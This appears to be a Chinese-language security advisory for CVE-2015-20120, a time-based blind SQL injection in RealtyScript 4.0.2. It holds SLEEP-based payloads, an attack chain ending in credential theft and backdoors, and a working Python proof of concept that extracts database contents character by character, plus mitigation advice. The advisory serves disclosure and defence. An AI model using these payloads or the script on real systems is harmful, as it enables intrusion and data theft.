IPBUF安全漏洞报告
English
CVE-2015-20120 CVSS 8.2 高危

CVE-2015-20120: RealtyScript 4.0.2 多处时间盲注SQL注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2015-20120
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next Click Ventures RealtyScript 4.0.2

相关标签

CVE-2015-20120SQL注入时间盲注RealtyScriptNext Click Ventures高危漏洞未授权访问数据库泄露

漏洞概述

CVE-2015-20120是Next Click Ventures公司开发的RealtyScript 4.0.2版本中存在的高危安全漏洞。该漏洞属于基于时间的盲注SQL注入(Time-based Blind SQL Injection)类型,存在于应用的多个参数中,包括search、quick_search和contact等。攻击者无需任何认证凭证即可利用此漏洞,通过在应用参数中注入恶意的SQL代码,利用时间延迟函数(如SLEEP())使数据库执行等待操作,从而根据响应时间的差异来推断数据库内容。由于响应内容本身不直接返回数据,攻击者需要通过构造条件判断语句,结合时间延迟函数,逐字符地猜测和提取数据库中的敏感信息,包括用户名、密码哈希、数据库名称等。此漏洞影响CVSS评分达到8.2分,属于高危级别,对系统的机密性构成严重威胁。

技术细节

该漏洞的核心原理是利用MySQL的SLEEP()时间延迟函数结合条件判断语句,实现基于时间的盲注攻击。攻击者构造的恶意请求会在SQL查询中注入类似'SLEEP(5)'的函数调用,如果条件为真,数据库将执行延迟操作,服务器响应时间会明显增加;反之则立即返回。攻击者通过观察响应时间的差异来推断条件判断的真假,从而逐步提取数据。典型的注入payload格式为:' AND SLEEP(5)--。更精确的数据提取需要结合SUBSTRING()、ASCII()等函数,例如通过ASCII(SUBSTRING((SELECT user()),1,1))=78这样的条件判断,逐字符地猜测数据库用户名或其他敏感信息。受影响的参数包括但不限于search、quick_search和contact参数,这些参数直接拼接到SQL查询中而未进行充分的输入过滤或参数化查询处理。攻击者利用此漏洞可以提取整个数据库的敏感信息,包括管理员凭据等。

攻击链分析

STEP 1
步骤1
目标识别与侦查:攻击者首先识别运行RealtyScript 4.0.2的目标网站,通过手动访问或自动化扫描工具探测应用的搜索和查询功能接口
STEP 2
步骤2
漏洞验证:攻击者向疑似存在注入点的参数(如search、quick_search、contact)发送带有时间延迟函数的测试payload,如' AND SLEEP(5)--,观察响应时间是否显著增加
STEP 3
步骤3
注入点确认:通过对比正常请求和恶意请求的响应时间差异,确认具体的注入点和可利用的参数位置
STEP 4
步骤4
数据提取准备:构造条件判断语句结合时间延迟函数,使用ASCII()和SUBSTRING()等函数逐字符猜测数据库内容
STEP 5
步骤5
数据库信息提取:通过编写脚本或使用SQLMap等工具自动化执行时间盲注攻击,逐步提取数据库名称、表名、字段名等结构信息
STEP 6
步骤6
敏感数据获取:利用提取的数据库结构信息,进一步获取用户凭据(用户名和密码哈希)、配置信息等敏感数据
STEP 7
步骤7
权限提升与持久化:使用获取的凭据尝试登录管理后台,或在数据库中植入后门以维持持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2015-20120 Time-based Blind SQL Injection PoC # Target: Next Click Ventures RealtyScript 4.0.2 # Vulnerable Parameters: search, quick_search, contact TARGET_URL = "http://target.com/search" def test_vulnerability(param_name, param_value): """Test if parameter is vulnerable to time-based blind SQLi""" # Normal request for baseline timing start = time.time() normal_response = requests.get(TARGET_URL, params={param_name: param_value}) normal_time = time.time() - start # Time-based payload with 5 second delay sql_payload = f"{param_value}' AND SLEEP(5)---" start = time.time() vuln_response = requests.get(TARGET_URL, params={param_name: sql_payload}) vuln_time = time.time() - start if vuln_time > 4: # If response took >4 seconds, likely vulnerable print(f"[+] VULNERABLE: {param_name} parameter") print(f" Normal time: {normal_time:.2f}s") print(f" With SLEEP(5): {vuln_time:.2f}s") return True return False def extract_data_via_blind_sqli(param_name, query): """Extract data using time-based blind SQL injection""" extracted = "" for pos in range(1, 50): # Max 50 characters for ascii_val in range(32, 127): payload = f"test' AND (SELECT CASE WHEN (ASCII(SUBSTRING(({query}),{pos},1))={ascii_val}) THEN SLEEP(2) ELSE 0 END))---" start = time.time() requests.get(TARGET_URL, params={param_name: payload}) elapsed = time.time() - start if elapsed > 1.5: extracted += chr(ascii_val) print(f"[*] Extracted so far: {extracted}") break return extracted # Example usage if __name__ == "__main__": print("[*] Testing CVE-2015-20120 - RealtyScript Blind SQLi") test_vulnerability("search", "test") test_vulnerability("quick_search", "test") test_vulnerability("contact", "test")

影响范围

RealtyScript < 4.0.2
Next Click Ventures RealtyScript 4.0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在Web应用防火墙中配置SQL注入检测规则,拦截包含SLEEP、BENCHMARK等时间延迟函数的请求;2) 限制搜索等查询功能的请求频率,防止自动化扫描和攻击;3) 对关键参数实施严格的输入长度和格式限制;4) 监控数据库查询日志,关注异常的时间延迟查询模式;5) 考虑临时禁用受影响的搜索功能,待正式修复后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表